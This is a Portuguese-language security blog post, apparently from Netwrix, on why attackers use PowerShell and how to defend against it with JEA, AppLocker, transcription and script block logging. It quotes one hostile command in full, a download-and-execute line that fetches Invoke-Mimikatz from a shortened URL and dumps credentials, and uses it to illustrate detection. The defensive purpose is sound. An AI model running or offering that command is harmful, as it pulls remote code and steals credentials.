Por que o PowerShell é tão popular entre os atacantes?

Por que o PowerShell é uma Plataforma de Ataque tão Popular?

Então, por que tantos cibercriminosos estão usando o PowerShell para lançar seus ataques? Bem, por uma coisa, é gratuito. Outros motivos incluem o seguinte:

• A maioria dos usuários empresariais tem o PowerShell habilitado em seus dispositivos de endpoint Windows.
• O PowerShell utiliza uma abordagem sem arquivo que executa comandos e scripts diretamente na memória, tornando difícil a detecção.
• Pode acessar praticamente qualquer dispositivo Windows iniciando uma conexão remota.
• Atores de ameaças podem utilizar o PowerShell com outras ferramentas maliciosas como Empire, DeathStar e CrackMapExec.
• Existem muitos scripts disponíveis no GitHub e em outros locais (como Invoke-Mimikatz) para os atacantes utilizarem.

Uma vez que um atacante obtém acesso inicial em um ambiente on-prem, ele pode usar o PowerShell para ganhar visibilidade na sua rede e mover-se lateralmente para acessar seus dados mais sensíveis e outros recursos de TI.

Como Reduzir o Risco do PowerShell

Porque o PowerShell é utilizado em muitos tipos diferentes de ataques, é imperativo implementar medidas de proteção para combater o seu uso malicioso. Vamos olhar para algumas formas de reduzir o risco de ameaças induzidas pelo PowerShell.

Restringir Privilégios de Administrador Local

Na era da rede Zero Trust, usuários padrão não devem ter direitos de administrador local em seus dispositivos, a menos que seja necessário para o trabalho deles. Embora negar direitos de administrador local não restrinja o acesso ao PowerShell, isso limita o que um usuário — ou um adversário que tenha comprometido a conta dele — pode fazer com o PowerShell, pois muitos comandos e scripts do PowerShell exigem privilégios elevados para funcionar. Além disso, negar direitos de administrador local vai restringir o acesso do usuário a pastas sensíveis e configurações do sistema.

Use o Modo de Linguagem Restrita

O Windows PowerShell suporta vários modos de linguagem que determinam quais partes do PowerShell podem ser usadas. O modo Constrained Language foi desenvolvido para o sistema operacional Windows RT e posteriormente adicionado ao Windows PowerShell V5, que é utilizado em todos os sistemas operacionais Windows modernos hoje.

Você pode iniciar uma sessão do PowerShell no modo Full Language, conforme mostrado abaixo:

Você pode colocar uma sessão do PowerShell no modo Constrained Language com o seguinte comando:

No modo de Linguagem Restrita, o PowerShell é limitado a um conjunto restrito de comandos e scripts. A execução de comandos fora dessas restrições é bloqueada, conforme mostrado no exemplo abaixo:

O modo de Linguagem Restrita também restringe o acesso a certas funcionalidades do PowerShell, como o uso de perfis do PowerShell e a capacidade de carregar módulos adicionais do PowerShell. Coletivamente, essas restrições ajudam a impedir que hackers usem o PowerShell para contornar as medidas de segurança do sistema.

Infelizmente, existe uma grande fraqueza com essa medida de proteção: Um usuário pode simplesmente iniciar uma nova sessão do PowerShell, que por padrão será executada no modo Full Language e terá acesso completo aos recursos do PowerShell.

Use o PowerShell Just Enough Administration (JEA)

O PowerShell Just Enough Administration permite que você aplique um sistema baseado em funções para tarefas administrativas. Pense no JEA como o princípio de menor privilégio de segurança para o PowerShell. Quando um usuário inicia uma sessão JEA, ele recebe uma forma restrita do PowerShell que permite realizar apenas as tarefas e comandos associados ao seu papel. Isso impede que executem comandos privilegiados dos quais não precisam.

Habilitar o JEA é um processo de várias etapas. O primeiro passo é criar um arquivo de compatibilidade de função, conforme mostrado abaixo:

Em seguida, você precisa editar o arquivo .prsc e definir as capacidades específicas do papel, como permitir que comandos específicos sejam executados pelo usuário. Outras etapas incluem criar um arquivo de configuração de sessão e, em seguida, usar esse arquivo para registrar um novo endpoint JEA no computador local.

Obtenha visibilidade sobre a atividade

Você precisa saber o que está acontecendo no seu ambiente de TI. Uma opção é usar o encaminhamento de eventos do Windows (WEF), uma ferramenta gratuita no sistema operacional Windows que pode coletar e centralizar logs de eventos de sistemas distribuídos. Uma abordagem de terceiros seria uma solução de security information and event management (SIEM). Os SIEMs podem coletar dados de uma ampla coleção de sistemas distintos e agregar esses dados para fornecer uma visão abrangente do que está ocorrendo em todo o seu ambiente.

Você também deve habilitar transcrições do PowerShell em todo o sistema, o que registrará toda a atividade do PowerShell nos sistemas designados para que os comandos executados possam ser revisados. Isso pode ser útil para auditorias e investigações forenses. Para habilitar transcrições do PowerShell em todo o sistema, crie um objeto de Group Policy object (GPO), vá até Configuração do Computador > Modelos Administrativos > Componentes do Windows > PowerShell e ative Enable PowerShell Transcription conforme mostrado abaixo:

Use o AppLocker para desativar o PowerShell e Scripts

O AppLocker vem com o Windows 10 Enterprise e oferece uma maneira útil de permitir a execução de aplicações e scripts. Pode ser configurado localmente em um sistema ou através de Política de Grupo. Para usar a Política de Grupo, crie um GPO, vá até Configuração do Computador > Configurações do Windows > Configurações de Segurança > Políticas de Controle de Aplicativos > AppLocker. Crie uma regra executável e selecione Negar conforme mostrado abaixo:

Você pode bloquear aplicativos por editor, caminho do arquivo ou hash do arquivo. A política de exemplo abaixo bloqueia por hash do arquivo e permite apenas que administradores locais executem o PowerShell; o acesso por qualquer outro usuário será bloqueado.

Você pode então distribuir a política usando o Group Policy ou exportá-la como um arquivo XML e importá-la para um MDM como o Intune. O código XML para a política exportada é mostrado abaixo:

      <AppLockerPolicy Version="1">

<RuleCollection Type="Exe" EnforcementMode="NotConfigured">

<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">

<Conditions>

<FilePathCondition Path="*" />

</Conditions>

</FilePathRule>

<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">

<Conditions>

<FileHashCondition>

<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />

</FileHashCondition>

</Conditions>

</FileHashRule>

</RuleCollection>

<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />

<RuleCollection Type="Script" EnforcementMode="NotConfigured" />

<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />

<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />

</AppLockerPolicy>
      

Você também pode garantir que apenas arquivos de uma pasta designada possam ser executados, utilizando políticas de Script Rules para criar uma regra de permissão para uma pasta especificada usando um script simples de PowerShell como este:

Detecte atividades maliciosas do PowerShell com o registro de blocos de script

O PowerShell 5 introduz várias técnicas novas para rastrear scripts maliciosos do PowerShell. Uma delas é o Script Block Logging. Esse nível de registro é ativado por padrão com o PowerShell 5 e fornece registros em texto claro do script completo executado pelo PowerShell. Isso é útil porque muitos ataques de PowerShell aproveitam scripts codificados que são difíceis de decifrar.

Vamos analisar uma maneira pela qual um atacante pode tentar ocultar seus scripts, usando um script como o seguinte que irá baixar e executar Invoke-Mimikatz:

powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

Usando PowerSploit e Out-EncodedCommand, um adversário pode criar uma versão codificada deste comando que é ainda mais ofuscada:

No entanto, os logs de eventos do PowerShell ainda mostram exatamente o que foi executado, sem qualquer codificação:

Como a Netwrix pode ajudar

Embora as organizações possam usar essas estratégias de mitigação e detecção para monitorar e proteger contra scripts maliciosos, existem produtos de terceiros que simplificam o trabalho. Netwrix Endpoint Privilege Manager facilita a criação de listas de permissão e bloqueio para bloquear automaticamente usuários de executarem aplicações indesejadas, incluindo PowerShell. Além disso, esta ferramenta permite remover direitos de administrador local enquanto ainda possibilita aos usuários realizar as tarefas administrativas necessárias para alta produtividade.

O PowerShell é uma ferramenta poderosa. Certifique-se de tomar as devidas precauções para garantir que adversários não possam usá-lo contra você tão facilmente.